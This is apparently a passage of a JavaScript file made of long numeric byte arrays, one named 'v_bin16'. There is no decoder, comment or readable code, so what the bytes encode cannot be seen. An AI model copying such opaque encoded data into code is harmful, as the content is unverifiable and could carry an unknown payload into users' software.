226,187,2,176,196,254,79,156,55,162,215,147,74,107,41,41,57,117,218,39,88,48,38,122,85,218,84,63,21,196,19,99,135,147,135,78,230,164,247,194,88,65,217,123,77,56,147,155,200,228,193,242,153,10,188,224,205,175,11,232,85,212,143,67,197,217,96,205,67,221,142,164,82,7,167,225,43,181,56,32,57,121,166,136,174,219,85,52,34,178,1,33,244,81,84,108,95,211,65,188,78,172,121,138,245,227,163,34,49,235,145,47,14,250,34,35,97,248,154,241,163,145,42,105,66,130,88,10,147,227,43,201,166,221,64,68,11,243,34,174,250,216,178,169,192,190,20,209,132,58,145,121,61,152,103,193,147,75,140,73,226,76,59,72,118,204,67,249,198,23,232,153,137,174,163,7,236,248,18,100,156,8,222,32,57,185,4,52,239,101,66,181,29,99,226,155,42,10,27,17,17,9,104,98,152,153,153,95,124,219,222,244,99,26,186,250,244,139,228,94,210,108,5,202,65,120,249,4,208,25,252,217,170,251,112,131,251,221,170,196,173,165,238,197,42,219,62,113,1,181,34,74,238,130,38,137,202,245,105,222,196,189,97,199,247,61,43,199,94,233,94,193,249,122,143,213,40,145,74,148,122,152,110,176,160,9,249,143,126,28,27,236,94,30,143,174,205,47,135,184,146,2,209,5,149,65,147,79,82,171,76,96,192,4,18,245,104,246,234,83,54,170,78,213,94,164,57,245,134,104,60,187,5,20,192,152,74,178,130,109,168,125,168,13,5,189,255,72,136,169,81,79,173,144,221,112,166,244,9,129,29,212,149,33,155,135,173,29,70,38,90,62,46,67,10,156,88,109,247,108,36,26,174,234,38,4,252,53,16,33,54,114,117,8,189,61,149,164,219,151,118,88,66,184,199,163,114,14,206,105,146,16,217,98,165,43,140,213,209,166,154,90,89,209,227,127,23,89,62,35,103,33,189,128,145,48,222,104,32,92,181,32,70,234,213,202,96,245,184,178,158,249,188,137,173,25,168,46,165,203,78,224,127,251,251,144,253,0,73,182,130,191,208,62,45,153,7,32,125,102,117,238,238,200,221,6,107,37,198,150,235,205,107,209,180,3,243,58,89,106,73,209,26,6,18,1,141,174,84,217,241,222,31,6,136,65,254,196,206,206,47,168,17,161,131,84,132,57,195,197,146,118,195,228,109,252,34,152,194,249,87,179,14,30,24,100,70,172,140,240,164,217,189,244,157,29,75,186,91,234,198,87,225,215,141,128,39,206,216,227,61,205,26,152,86,39,108,65,63,21,193,145,87,197,118,59,85,87,229,147,179,231,2,250,243,17,43,151,167,137,189,65,220,30,54,11,43,101,175,154,191,227,196,30,145,33,48,104,252,19,243,222,170,44,64,29,55,34,226,164,141,179,59,55,38,157,129,141,117,22,56,173,253,113,127,71,209,251,242,183,76,64,179,244,110,111,146,71,227,34,253,37,200,75,230,215,117,191,23,72,51,125,28,153,38,132,250,94,9,206,95,116,175,161,144,55,59,89,97,113,45,144,92,124,209,171,99,185,186,197,141,134,163,154,7,255,211,42,107,253,201,79,0,30,186,149,122,210,33,136,39,5,44,132,178,31,179,117,183,146,166,68,255,110,73,98,237,196,13,235,102,220,26,67,247,1,167,60,216,204,157,157,20,109,68,61,214,130,116,109,19,11,238,96,191,103,188,14,175,227,141,85,241,205,18,247,200,234,136,251,37,69,137,201,252,164,21,23,252,197,204,127,10,100,28,16,190,141,251,107,22,191,124,21,204,78,187,108,29,204,87,26,51,78,63,173,136,88,127,21,36,203,183,94,115,64,55,173,73,183,34,159,83,168,84,0,168,34,226,125,47,43,147,147,82,127,239,52,170,247,104,116,85,242,110,183,14,217,43,110,90,123,12,134,44,15,117,87,144,116,140,169,151,137,64,30,75,195,28,96,189,84,244,118,39,167,255,223,16,75,70,126,141,112,227,170,148,123,147,103,147,243,196,227,38,147,168,205,7,9,19,50,198,9,52,89,32,17,167,225,113,101,19,45,45,202,5,187,211,222,150,15,99,184,207,242,114,113,37,7,179,211,91,251,209,135,241,215,6,141,142,80,55,96,218,150,148,23,156,126,5,41,207,93,47,153,182,251,93,44,252,66,243,153,249,116,149,84,192,207,157,230,34,103,171,109,233,6,53,39,30,123,232,139,81,44,55,175,133,12,67,205,215,224,24,189,55,84,234,35,213,141,126,251,7,179,4,228,51,67,229,10,91,44,81,35,127,131,202,102,179,103,181,201,179,150,92,13,210,72,122,177,216,238,244,18,144,139,158,229,187,129,78,59,177,94,68,175,128,81,182,206,76,135,204,127,78,177,44,154,131,18,97,108,228,172,118,67,200,219,220,60,153,113,110,14,216,247,68,155,216,173,76,97,196,93,84,125,217,56,78,159,45,51,212,164,68,186,60,42,126,162,57,202,174,174,56,63,214,28,77,239,12,196,206,15,37,119,185,4,147,217,196,228,178,14,16,15,13,150,38,241,161,117,219,76,47,100,10,247,157,180,56,79,8,8,165,38,85,94,50,196,203,75,206,24,209,29,9,138,192,172,5,59,128,140,57,139,132,215,10,222,193,237,108,88,120,4,135,0,196,217,231,243,225,86,216,31,166,243,135,68,224,38,132,97,145,252,77,83,210,240,237,129,100,183,131,225,124,147,105,165,6,9,169,180,218,170,240,15,155,177,154,95,252,235,161,87,97,34,138,217,11,51,130,139,36,153,97,236,143,31,159,109,244,147,17,223,225,14,12,114,56,87,235,241,204,72,93,138,211,18,252,102,14,148,156,19,129,227,29,28,237,107,246,247,179,66,103,79,75,196,157,124,37,137,72,198,255,248,75,176,223,38,219,94,180,255,145,84,165,75,233,92,116,109,9,118,4,56,79,89,66,35,234,133,151,239,209,101,247,7,62,37,143,104,122,223,115,109,38,84,132,197,116,61,58,197,206,147,16,246,24,48,20,143,140,156,127,52,102,169,176,148,197,207,80,104,76,60,66,232,240,30,237,33,52,66,216,178,204,239,108,161,170,170,2,92,185,94,208,79,7,247,146,86,141,60,82,58,54,179,244,200,250,123,131,235,90,11,188,183,0,120,43,29,211,32,92,82,165,228,45,146,213,135,114,114,197,97,169,224,69,67,175,176,205,109,41,221,194,42,5,226,166,136,167,49,53,61,253,229,205,138,207,0,163,153,207,90,168,28,170,192,141,127,52,43,22,130,49,170,46,227,160,215,21,196,255,115,162,82,8,109,81,188,183,134,152,67,88,225,121,13,240,15,224,244,197,159,210,155,70,96,33,248,253,174,166,49,178,186,198,52,204,116,26,131,216,139,22,127,248,49,229,62,3,8,193,151,189,105,19,70,184,140,20,209,171,215,117,152,243,156,131,251,238,164,245,181,63,165,31,59,148,60,8,92,51,174,251,148,52,150,69,147,152,235,50,103,200,161,108,165,218,180,133,52,186,140,92,48,7,183,145,164,104,9,214,121,218,95,89,163,147,17,104,246,120,126,50,134,119,98,200,127,93,29,172,171,162,98,206,53,110,12,11,127,35,117,150,64,17,107,195,82,254,198,127,187,144,185,20,40,198,180,233,9,212,50,185,226,138,196,84,1,81,174,101,129,14,67,11,126,51,82,63,244,218,115,192,19,6,88,4,247,74,229,23,23,245,144,122,181,156,208,205,243,234,166,10,57,100,160,2,249,122,198,246,150,5,1,94,230,217,18,91,125,226,47,109,255,214,96,124,141,239,232,182,197,0,76,171,169,22,149,195,199,88,136,8,212,186,175,118,188,239,144,102,43,239,198,121,29,55,158,124,76,139,160,205,193,237,154,199,128,52,57,222,122,7,203,145,0,201,245,219,71,38,108,220,109,32,81,202,211,83,1,121,36,139,44,45,244,213,103,181,96,193,114,202,174,70,178,231,97,205,172,134,122,213,200,155,231,170,208,127,48,11,118,2,188,198,135,210,176,148,223,243,48,59,185,174,235,36,135,207,93,169,3,204,133,146,165,218,21,124,138,251,72,252,60,49,74,71,26,156,154,31,131,233,81,241,25,164,34,108,246,43,245,98,151,216,122,27,81,92,27,35,124,228,139,174,245,122,223,246,102,245,71,78,224,48,212,26,234,88,196,169,208,7,10,130,216,200,35,175,231,242,225,199,205,158,96,197,52,164,5,146,216,88,160,81,82,172,77,193,13,13,95,232,38,254,49,225,219,83,39,230,217,172,222,123,88,90,229,118,133,240,70,136,246,154,144,252,226,91,93,78,134,188,99,244,61,202,44,121,190,167,106,112,178,103,156,10,122,160,152,3,94,38,254,116,40,234,192,244,123,123,95,194,148,95,211,52,89,225,202,98,233,113,217,198,69,140,31,219,29,34,133,184,133,158,46,127,139,46,216,157,174,149,63,45,98,223,56,171,83,21,69,231,105,247,93,206,122,106,71,100,174,208,235,232,243,73,17,52,46,102,149,75,137,151,16,39,184,90,32,31,73,21,96,202,240,130,151,108,0,168,200,99,122,223,195,154,19,195,221,114,199,87,110,153,48,70,169,160,107,22,231,209,40,61,183,53,91,83,2,227,47,65,193,235,66,37,203,67,131,114,229,209,234,56,251,147,170,171,77,33,75,0,0,123,186,149,217,248,63,211,61,92,88,15,128,95,58,233,19,142,121,53,199,38,222,138,211,156,39,155,187,45,37,81,28,46,71,19,149,214,26,162,158,142,209,31,187,89,55,145,98,156,15,44,22,34,187,141,158,193,121,156,182,125,213,233,233,144,232,171,236,216,106,80,218,56,140,169,196,214,225,89,162,153,95,225,138,231,199,85,207,177,9,240,103,177,181,37,26,53,53,201,210,198,16,172,88,229,65,98,74,30,20,58,7,13,5,76,146,148,37,250,74,56,29,135,202,190,103,209,3,79,138,65,243,250,54,104,0,98,192,208,86,67,55,207,55,203,94,46,248,231,229,159,135,63,233,123,70,2,8,246,170,166,233,87,126,118,176,89,218,147,144,165,173,70,1,174,1,66,175,23,117,181,202,145,97,67,206,132,5,131,250,5,243,253,42,148,78,192,14,28,139,82,172,222,38,45,86,195,196,61,39,105,46,16,227,135,219,239,217,26,30,231,126,127,214,55,119,109,188,91,156,131,131,253,131,206,229,23,242,195,161,200,158,242,216,153,77,3,129,110,98,46,117,109,153,125,78,71,130,145,180,57,3,107,244,238,44,3,219,57,2,181,105,126,244,120,91,156,176,166,209,110,223,18,227,183,121,14,242,27,171,124,197,103,232,195,105,188,124,44,31,43,187,191,48,197,78,186,163,73,4,218,110,205,1,84,212,15,104,111,176,178,207,229,52,177,42,35,17,1,241,47,71,196,200,41,2,92,206,210,46,141,138,222,122,121,131,113,177,193,8,40,101,116,16,187,240,161,194,40,160,139,252,38,143,119,58,137,28,85,17,80,129,123,244,120,173,152,88,107,95,52,164,150,0,72,44,233,194,94,10,112,239,110,28,182,196,194,57,83,121,188,15,48,18,79,58,62,81,223,1,120,38,29,134,174,194,211,33,127,198,97,57,150,213,192,253,44,145,95,213,141,124,50,149,137,163,39,34,138,100,166,141,244,129,3,247,74,18,77,30,250,253,253,158,69,198,154,100,51,92,73,211,54,215,23,110,132,148,202,35,5,2,223,103,226,6,0,237,44,152,44,220,122,129,69,101,193,98,115,120,46,95,229,182,213,120,133,169,125,196,36,195,231,230,175,247,141,207,135,99,203,187,63,226,210,78,196,87,162,229,120,25,126,150,3,189,104,254,254,2,247,232,50,236,4,140,172,99,103,249,32,164,2,123,33,232,196,111,243,204,132,117,83,164,109,18,137,165,110,16,165,183,107,7,103,168,45,227,193,85,183,204,1,1,231,62,206,239,94,211,234,238,11,43,74,62,183,28,46,198,246,67,204,153,156,230,145,164,55,85,226,153,24,108,137,239,224,235,152,93,63,252,92,67,24,246,216,24,242,103,144,92,17,85,12,149,168,211,29,15,238,239,132,148,108,228,42,16,31,84,34,210,13,89,39,13,165,195,101,54,206,221,93,131,215,89,226,97,36,105,67,121,83,12,244,110,64,214,134,39,243,234,159,51,228,224,13,34,134,47,227,137,189,246,143,153,162,229,169,205,190,84,237,110,205,229,71,23,133,81,183,200,114,118,68,65,96,118,33,142,42,39,246,11,19,204,204,63,227,12,155,191,63,229,240,231,155,174,158,255,135,130,140,99,172,186,92,195,8,149,56,177,101,31,8,105,37,135,85,126,252,39,34,16,98,156,187,217,209,227,114,30,44,239,228,193,171,40,119,121,14,99,11,152,114,34,134,126,81,133,37,181,58,53,214,22,123,156,157,122,244,204,123,78,99,71,172,31,162,240,185,158,213,167,218,32,197,96,235,98,67,171,126,135,55,219,120,115,236,35,122,32,232,131,52,206,46,229,141,145,153,53,219,122,71,150,82,189,254,27,216,149,181,8,147,159,170,97,37,225,206,26,241,23,119,20,102,200,149,70,238,32,130,141,247,1,185,221,179,85,180,174,172,107,32,52,142,40,119,149,21,54,38,1,206,218,165,227,222,106,34,230,219,253,33,237,45,159,163,61,74,203,167,180,218,12,77,209,176,158,250,34,216,204,80,185,188,113,161,219,72,206,54,169,50,139,205,165,208,46,223,202,156,169,246,77,228,117,123,176,30,148,23,234,175,19,97,22,231,52,8,253,140,234,170,102,17,40,86,44,128,47,166,88,218,247,48,86,248,136,145,102,192,7,186,16,140,143,197,91,5,218,151,32,121,9,101,153,15,91,131,47,147,225,153,196,82,165,113,110,137,33,132,228,220,95,6,234,104,40,195,224,226,40,10,148,153,0,254,43,165,206,139,234,176,161,108,169,216,57,71,254,240,157,83,222,6,229,23,223,31,127,101,249,7,56,88,164,50,235,181,33,96,131,39,53,74,167,94,0,153,14,75,146,51,9,137,97,148,22,81,224,27,156,214,227,253,136,166,178,232,7,209,61,56,142,227,39,196,115,242,74,174,166,9,2,209,122,78,2,227,12,210,63,239,16,38,238,62,62,102,23,105,127,105,242,20,72,28,162,5,79,15,145,174,250,106,128,28,194,245,107,193,214,87,225,40,57,95,125,41,107,248,202,38,91,204,18,136,155,118,221,184,98,107,224,205,48,186,20,222,12,79,72,50,254,37,2,7,36,168,56,254,16,255,238,39,227,226,3,49,138,187,17,224,241,193,255,243,153,217,43,51,233,213,120,66,88,92,75,17,126,91,219,178,90,131,35,38,171,210,120,79,209,121,61,81,79,62,225,111,254,241,208,68,142,85,81,15,105,115,38,136,224,153,220,20,88,249,158,50,131,170,208,101,221,250,123,192,217,30,150,48,86,226,252,59,69,152,148,243,50,222,239,255,122,247,226,231,154,124,152,190,214,74,7,40,120,187,57,115,7,57,70,112,182,229,203,9,191,160,69,229,248,10,27,131,97,13,146,22,184,71,153,243,15,225,22,92,161,247,84,56,40,146,47,119,14,192,78,58,150,45,182,57,104,50,82,12,178,245,15,187,14,141,140,151,133,53,38,128,229,109,48,220,243,195,142,0,230,122,58,122,184,139,148,7,17,34,114,109,140,195,236,208,204,22,32,109,67,105,33,182,90,105,175,161,165,146,96,196,3,16,223,15,24,153,178,34,23,216,185,24,28,187,208,102,85,147,148,131,43,80,5,147,102,233,31,180,190,121,67,58,176,46,184,162,48,217,4,206,88,158,3,98,116,86,107,218,240,100,156,69,7,111,157,29,47,223,198,99,186,46,97,89,131,248,183,55,248,193,181,38,123,124,112,181,222,241,39,72,142,183,207,212,145,227,109,193,134,208,120,53,46,170,119,205,22,27,127,43,21,132,108,143,95,206,207,189,215,163,148,12,84,109,26,192,106,102,14,19,50,228,242,38,16,25,165,20,168,68,179,195,169,109,200,170,221,229,80,187,151,215,211,82,181,147,34,202,156,164,157,46,206,144,109,114,178,13,87,199,40,64,144,22,192,43,94,172,202,80,191,188,75,22,210,149,8,149,225,208,193,178,174,209,36,181,132,135,157,115,30,241,157,141,20,121,69,188,112,133,123,51,83,245,243,43,236,68,171,170,154,253,200,226,69,56,167,117,97,59,163,132,198,90,143,157,164,157,190,0,82,153,212,123,215,235,33,1,192,121,39,214,38,168,148,184,234,13,244,96,119,213,235,242,145,223,165,158,198,178,15,188,36,12,130,216,238,66,198,115,122,76,167,125,172,14,152,70,205,158,214,86,15,212,245,99,2,73,193,139,208,66,23,151,75,24,132,248,88,97,2,246,2,12,168,93,221,191,249,109,219,228,186,108,211,34,244,40,161,81,7,221,140,26,104,70,122,184,61,203,136,230,84,240,33,218,104,96,117,46,243,161,119,181,47,205,233,250,139,243,159,201,240,124,95,4,11,254,136,31,209,215,18,60,185,121,217,152,166,22,60,194,72,238,106,112,23,65,176,147,250,18,58,24,17,219,230,68,253,44,124,182,124,86,194,97,237,33,225,133,232,183,8,79,10,163,143,98,238,174,111,42,181,225,38,229,247,211,49,1,34,181,127,95,172,46,221,223,4,214,59,197,213,17,95,173,84,196,201,116,198,201,74,208,177,108,227,170,164,5,108,155,239,220,233,221,25,4,159,45,56,238,47,242,141,178,25,61,154,226,7,117,10,46,243,154,211,48,116,78,97,36,207,25,50,119,185,99,0,145,234,147,230,207,194,216,129,56,171,45,140,182,16,64,150,212,213,103,67,35,79,77,16,159,252,164,134,44,225,46,204,121,128,221,15,207,87,138,148,11,82,138,179,69,43,162,137,177,74,217,11,95,171,158,115,169,17,182,139,182,30,31,205,59,94,150,157,41,238,146,228,108,250,8,155,232,198,73,27,138,195,25,89,113,233,56,138,112,59,224,68,41,153,129,60,237,26,125,96,210,80,53,101,225,185,181,143,13,58,243,3,204,7,203,107,101,98,253,46,230,64,122,193,22,195,162,220,193,85,50,26,110,131,206,66,226,216,9,35,148,203,219,252,177,20,250,245,112,44,141,106,115,38,50,215,7,179,198,24,71,72,166,3,58,18,198,201,155,19,149,33,84,161,174,195,165,55,99,10,97,150,130,168,38,69,247,67,110,246,86,72,203,147,204,20,47,43,104,155,195,154,29,94,133,8,23,252,152,194,78,101,149,135,230,0,146,174,155,52,110,27,235,114,3,36,34,18,93,146,245,100,141,126,194,32,75,183,18,156,43,229,129,142,58,113,106,23,130,146,253,79,147,70,110,88,126,76,29,114,126,235,88,52,116,1,188,70,255,149,248,137,56,142,0,83,50,176,240,46,76,93,247,209,181,227,90,231,216,123,121,41,106,212,17,248,0,1,137,182,44,127,55,75,204,223,96,210,150,158,67,55,109,169,150,224,143,69,151,32,78,251,190,24,8,67,154,184,179,245,0,249,241,40,153,229,175,22,111,188,14,181,23,158,19,74,144,45,228,72,248,41,177,238,93,249,7,102,115,106,244,11,10,65,13,143,146,34,167,37,28,133,73,134,188,149,173,138,250,192,23,163,51,181,7,212,242,211,223,59,28,99,203,123,54,213,134,159,119,160,124,246,64,207,220,1,34,144,225,249,116,179,24,135,67,72,81,63,23,135,181,50,29,33,126,48,113,22,60,200,199,118,40,130,251,51,50,69,138,88,122,185,54,204,77,84,26,143,95,78,36,135,60,211,66,79,157,161,51,226,100,255,213,176,117,83,22,18,41,141,41,232,218,154,136,201,254,175,131,130,44,3,84,4,239,151,229,96,144,91,70,78,230,84,19,96,7,173,46,13,120,43,164,98,38,88,196,135,12,95,213,76,29,136,136,139,69,80,135,183,171,147,107,116,116,10,64,35,164,29,202,65,201,249,42,3,106,251,215,88,235,168,136,142,126,207,149,111,179,63,41,66,220,47,7,217,244,155,211,110,27,31,18,138,164,4,152,43,53,135,190,102,64,54,126,7,239,118,237,47,62,14,195,241,171,150,128,169,91,38,29,237,214,9,95,221,92,252,23,32,102,208,129,160,51,158,87,143,200,158,245,165,244,142,197,116,68,149,128,218,165,102,14,95,220,244,69,0,21,8,239,234,9,155,212,93,75,121,99,25,160,108,158,119,22,87,170,206,234,29,185,178,91,254,64,53,63,21,43,7,57,102,96,81,127,144,77,20,172,169,72,57,95,51,87,47,134,89,218,135,237,35,186,236,130,227,248,183,205,176,186,185,99,105,22,242,218,151,245,7,144,184,38,185,111,48,54,153,0,123,200,225,169,113,162,99,43,132,207,247,174,197,197,225,38,114,105,237,202,6,68,153,111,12,130,68,178,121,191,31,7,176,248,178,154,33,78,59,196,33,187,179,231,238,222,58,17,230,76,125,146,122,24,0,236,137,50,219,126,161,127,130,10,63,69,54,234,175,204,215,25,88,14,192,45,78,144,86,234,188,5,199,162,47,146,167,97,177,28,245,211,226,170,168,200,255,51,148,194,6,222,80,114,109,248,241,119,192,89,239,140,243,164,191,193,255,230,52,137,200,23,249,161,113,83,89,104,121,26,168,205,4,181,174,230,209,122,22,232,114,192,181,142,209,196,245,63,119,215,170,154,18,229,40,236,7,55,245,192,64,142,174,195,210,96,6,200,222,26,211,190,243,118,199,198,109,37,143,244,18,193,24,231,44,116,112,42,153,61,102,239,13,35,83,91,122,42];
var v_bin16 = [208,4,236,29,175,84,111,212,14,133,95,218,90,31,21,115,40,35,241,168,115,37,231,156,254,181,12,159,16,72,184,253,133,73,124,31,238,32,124,217,8,244,80,222,144,253,59,20,181,10,108,123,156,165,248,156,100,20,24,146,205,245,14,134,30,62,154,8,126,88,179,176,11,209,140,67,250,68,37,61,76,172,224,152,46,145,229,129,243,99,239,47,147,127,42,131,210,113,99,40,208,131,219,34,170,110,123,178,220,254,86,253,12,188,205,71,238,43,26,10,148,248,127,225,92,222,219,97,181,93,176,131,25,29,240,80,241,255,51,254,175,141,164,245,71,235,103,244,71,158,236,114,42,119,160,220,220,170,252,96,84,26,39,88,57,110,222,58,216,122,68,29,126,136,32,253,191,63,27,13,207,60,215,222,33,103,162,233,156,21,163,80,22,189,237,30,6,133,124,251,39,250,49,1,26,187,129,181,239,124,111,208,60,9,155,51,233,233,193,65,65,154,174,140,13,64,27,103,190,247,215,39,190,7,132,144,36,207,121,221,18,157,217,130,71,180,202,137,188,47,32,67,131,94,164,181,61,182,233,50,245,19,235,218,119,117,85,44,154,255,166,46,221,227,90,73,109,78,108,111,100,33,191,8,254,120,5,251,174,153,121,12,191,15,96,222,96,129,160,154,167,42,67,27,208,99,125,78,98,45,87,140,36,114,140,194,170,172,231,251,214,55,228,218,24,220,26,68,52,24,250,204,13,163,165,113,223,64,198,4,102,134,62,157,131,177,96,113,95,61,16,197,17,79,5,172,18,124,75,204,249,30,150,226,111,25,195,201,155,73,221,230,90,93,44,49,203,41,151,82,191,12,187,141,147,113,74,39,164,212,102,111,157,229,179,140,185,147,108,135,82,93,209,131,38,15,120,100,192,39,32,232,90,110,185,61,213,243,110,58,115,22,238,238,140,56,158,107,239,46,217,214,23,84,30,239,9,150,80,36,114,170,143,63,44,14,254,160,161,52,240,45,232,14,101,122,86,128,222,64,192,194,224,166,74,199,182,12,81,184,165,222,143,58,139,194,253,116,55,9,248,66,202,114,183,97,143,107,139,129,251,206,252,90,76,52,79,148,232,238,55,249,127,159,18,244,214,53,0,111,132,187,113,220,8,37,154,158,130,232,64,109,61,76,43,99,27,78,148,165,121,8,61,145,19,114,6,156,45,215,188,8,83,238,205,138,27,94,150,212,147,173,142,109,55,196,54,28,113,255,223,150,193,33,211,225,198,63,26,115,182,75,55,52,255,108,53,166,204,209,172,2,108,145,229,49,18,215,40,29,155,57,10,0,144,99,115,182,156,250,110,115,225,86,167,111,196,174,200,127,2,11,44,183,81,204,57,163,215,109,131,6,21,100,229,122,46,157,165,191,4,80,37,208,178,224,98,87,133,236,137,51,235,94,246,101,100,174,158,117,140,86,212,25,105,46,130,241,243,48,130,41,67,193,14,206,244,204,125,71,105,218,122,190,160,246,83,62,97,211,172,19,29,223,159,245,47,130,154,202,166,30,210,69,77,156,211,25,146,106,166,6,129,87,82,130,36,99,74,64,22,88,123,169,144,246,121,137,184,130,0,238,209,6,6,23,63,199,154,129,231,192,6,134,39,145,83,209,5,33,13,3,15,202,32,224,141,20,22,138,254,101,139,45,216,193,104,44,130,27,183,73,163,22,3,244,103,77,73,162,23,120,104,78,244,111,113,38,186,116,38,68,133,185,19,210,36,225,106,84,40,104,79,50,28,106,236,101,15,50,229,39,79,58,209,198,56,170,52,238,4,198,76,161,58,15,54,75,121,221,56,1,5,80,228,10,152,81,104,233,41,60,120,229,40,239,81,37,254,152,222,46,28,159,15,253,126,245,5,93,75,218,199,148,14,120,212,82,70,41,223,191,74,179,79,192,38,198,65,0,141,221,50,254,2,249,114,94,106,148,123,207,99,15,134,53,172,40,30,33,226,99,35,190,192,20,25,240,100,23,241,9,175,149,146,249,216,107,248,254,230,139,227,117,169,132,16,57,135,144,189,108,244,97,169,171,142,107,133,28,244,120,27,70,30,125,250,125,158,135,246,29,112,85,31,73,70,112,229,115,147,235,252,42,196,93,17,215,160,86,112,129,7,105,107,252,235,144,119,133,1,131,235,64,81,176,52,60,255,166,25,222,185,119,17,59,208,37,119,4,69,13,152,130,35,92,151,134,37,41,43,53,40,246,245,145,89,202,101,56,254,216,229,213,4,100,238,163,117,96,211,131,219,92,85,43,65,61,147,199,16,28,76,153,77,245,253,20,4,169,200,62,186,211,241,39,57,7,77,107,148,42,63,74,127,18,36,196,123,184,29,180,182,164,7,57,16,207,215,205,166,133,60,187,10,125,190,194,3,19,119,185,115,221,45,237,251,158,83,50,181,124,186,70,93,68,226,254,189,15,227,176,80,58,56,215,31,149,113,19,228,78,79,139,143,239,99,20,147,124,56,102,177,139,87,81,48,192,64,5,239,163,55,123,171,222,221,138,208,221,157,134,235,251,99,8,214,56,237,132,49,19,160,50,156,108,138,116,206,1,105,56,222,53,248,240,49,65,69,217,207,56,134,206,79,190,54,234,215,252,109,210,253,37,101,246,166,238,184,16,207,156,116,130,193,149,41,231,90,255,127,158,238,121,34,114,248,68,98,39,235,253,130,27,102,139,251,139,224,12,189,29,130,96,245,251,109,29,128,201,208,148,189,97,213,106,211,6,184,252,252,241,126,241,133,213,86,249,213,112,248,225,72,86,67,116,119,30,91,179,28,206,44,112,130,26,223,122,183,104,149,80,28,50,51,108,214,32,199,171,148,163,112,115,240,39,3,2,222,117,160,54,160,118,33,110,138,26,30,206,48,251,2,45,95,32,168,183,136,241,227,65,20,93,103,59,198,48,229,33,29,82,94,148,138,196,56,130,169,75,22,111,89,117,199,248,202,76,177,83,3,74,43,115,95,95,193,189,103,8,243,234,219,181,159,173,212,100,84,194,146,238,228,83,24,241,128,109,137,198,73,88,55,12,67,137,227,212,225,88,230,235,151,215,189,128,221,172,71,131,168,110,240,148,26,179,159,107,30,79,122,13,1,244,73,249,108,202,33,177,226,135,146,229,244,71,157,170,106,76,190,254,158,89,60,64,145,46,50,247,75,38,184,86,14,131,176,55,108,46,109,106,167,60,199,148,53,153,25,71,31,155,94,180,4,11,252,21,132,190,192,61,118,168,195,166,254,174,158,213,205,30,168,230,166,129,55,112,113,15,225,61,22,157,99,21,69,120,68,154,223,187,139,63,248,212,184,226,127,176,2,29,138,2,124,152,206,37,38,199,137,125,215,248,38,207,68,33,206,165,203,7,76,206,73,44,176,177,226,69,74,225,238,69,33,163,198,78,138,141,123,217,92,64,23,131,203,28,91,75,77,233,137,136,242,116,251,133,64,238,145,58,83,208,103,217,196,233,161,15,79,224,230,217,139,37,90,197,199,195,32,188,33,109,112,210,0,209,67,200,44,225,127,46,150,30,71,16,43,125,17,127,26,78,58,167,181,123,138,19,4,211,58,209,123,19,238,139,39,142,14,108,235,68,22,85,227,133,116,138,200,59,130,185,220,204,254,251,237,134,248,188,117,207,137,234,147,223,116,69,31,129,22,73,196,221,217,154,2,235,99,4,218,28,200,60,237,84,207,190,83,92,145,198,114,36,181,25,133,73,141,113,254,169,154,11,183,195,75,92,12,236,79,251,17,142,115,131,222,77,220,81,216,157,220,96,192,183,21,101,23,59,228,113,112,86,144,71,235,159,196,27,138,140,103,249,174,164,154,75,130,249,154,103,110,39,230,52,76,227,25,219,57,105,74,168,3,130,174,150,188,173,153,62,254,142,60,132,232,12,94,229,96,166,149,127,98,169,131,82,96,255,87,133,19,207,15,31,172,93,17,187,217,181,149,7,165,182,226,89,209,196,128,173,197,37,86,16,134,93,63,93,198,87,164,213,214,53,168,53,67,197,150,178,201,148,36,206,125,88,108,159,134,140,134,44,30,167,212,175,119,3,254,191,36,209,78,93,87,79,137,53,135,76,232,249,200,16,79,65,244,241,159,204,220,14,105,121,120,230,207,179,53,137,153,200,0,179,55,112,137,191,51,251,115,148,144,199,74,70,116,217,53,19,187,196,62,50,41,221,42,35,221,174,175,247,118,219,182,193,1,106,174,180,137,173,231,210,93,197,54,117,2,69,0,65,23,108,80,174,108,55,182,52,9,100,96,87,123,167,179,196,22,248,64,80,43,198,20,110,153,252,98,202,102,209,92,250,207,13,209,134,126,53,85,26,52,4,189,57,73,51,81,143,55,205,169,18,232,205,185,29,11,32,76,158,254,70,206,161,246,240,59,11,20,58,59,57,99,83,125,89,41,224,143,53,237,129,56,192,219,219,84,20,199,109,178,94,236,255,31,103,24,149,48,125,82,80,172,19,131,102,31,185,153,31,158,214,17,253,246,115,208,155,179,235,191,120,56,220,20,198,211,234,126,114,91,78,166,171,235,255,194,171,232,40,108,33,146,136,198,216,64,94,80,123,84,12,237,47,236,110,180,32,139,152,235,218,4,156,47,159,34,15,180,77,219,59,51,183,111,28,154,216,175,231,99,186,88,9,84,20,132,202,250,49,167,32,113,53,64,249,100,108,113,226,7,32,110,185,56,129,6,104,10,254,47,209,141,78,33,208,238,101,154,24,45,97,127,179,147,176,248,88,125,211,157,23,17,33,215,19,76,146,173,50,166,91,36,105,131,234,25,240,29,39,27,3,216,156,99,37,120,180,233,208,181,51,102,2,36,45,178,149,77,239,185,222,77,99,10,106,213,157,68,193,46,47,92,154,47,70,3,212,204,206,170,84,164,212,61,173,93,80,84,19,158,85,229,179,19,147,209,163,0,93,42,22,213,100,158,174,222,108,58,28,52,246,33,61,107,53,80,115,206,192,29,204,131,24,72,25,200,255,34,219,228,46,79,148,66,190,91,194,132,79,116,188,107,247,253,83,152,124,156,176,11,15,139,59,72,55,2,163,176,21,227,181,57,241,156,199,232,198,218,108,233,144,192,8,21,212,23,159,242,140,143,176,150,128,55,41,53,117,75,161,24,35,248,215,129,139,200,111,106,206,42,181,162,211,228,68,149,204,57,115,14,148,230,89,99,89,71,209,50,214,17,196,57,13,238,159,240,183,98,233,99,180,61,244,99,126,155,126,44,56,210,242,178,230,106,13,28,10,88,133,39,13,223,178,162,105,145,119,30,123,197,63,19,63,158,215,152,58,98,145,172,56,117,93,143,28,79,243,77,216,170,186,159,104,232,59,66,150,114,194,214,153,150,112,126,11,152,200,59,150,93,154,174,34,166,155,202,84,38,67,148,227,175,41,78,6,104,107,180,210,222,80,11,175,56,219,170,166,169,10,97,79,27,234,164,154,127,107,163,175,64,11,253,233,193,219,183,31,82,71,106,76,29,184,109,42,204,135,64,212,192,180,238,49,144,109,31,156,188,4,222,104,16,59,37,162,177,170,79,156,61,34,81,173,80,33,111,72,165,113,11,169,200,149,27,7,121,224,22,202,189,47,101,14,240,185,212,170,206,105,74,41,100,132,171,231,5,239,183,118,242,123,43,50,253,214,117,61,234,93,2,120,235,245,94,1,156,67,146,27,186,70,227,229,36,202,119,22,34,97,65,68,248,153,34,240,68,50,4,211,210,49,10,83,215,117,205,110,61,140,19,30,132,102,81,134,137,22,35,167,79,239,69,29,121,119,2,108,116,91,